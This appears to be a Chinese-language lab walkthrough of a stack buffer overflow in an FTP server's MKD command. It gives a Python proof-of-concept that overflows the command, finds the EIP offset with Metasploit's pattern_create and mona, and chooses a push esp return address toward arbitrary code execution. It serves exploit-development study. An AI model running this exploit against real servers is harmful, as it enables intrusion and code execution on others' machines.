    运行溢出代码

    #!/usr/bin/python
    import socket
    import sys
    evil = "A"*1000
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect=s.connect(('127.0.0.1',21))
    s.recv(1024)
    s.send('USER anonymous
    ')
    s.recv(1024)
    s.send('PASS anonymous
    ')
    s.recv(1024)
    s.send('MKD ' + evil + '
    ')
    s.recv(1024)
    s.send('QUIT
    ')
    s.close

    可以看到ESP与EIP都被A字符填充

    image-20200426220219235

    接着我们利用create_pattern这个工具来生成1000的随机字符来代替前面的'A'

    msfconsole
    msf>/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 1000
    

    image-20200426215823465

    利用mona可以看到EIP的偏移量为247

    试一下A*247+B*4+C*749

    image-20200426221300257

    42即是B,将B替换成我们需要执行的命令的地址即可做到任意代码执行

    image-20200426231219985

    利用mona查找找到几个地址,一部分在jmp.txt文件中,选出一个push esp地址0x77c21025

    注意事项

    1. 打开FTP->imdbg/attach->poc.py->F9(run) 有时FPU中不显示数据,关闭软件重开即可
    2. CPU为小端
    3. python版本shellcode打开了端口但是无法连接shell
    4. 调试过程中程序崩溃,不要点击不发送等按钮使其关闭
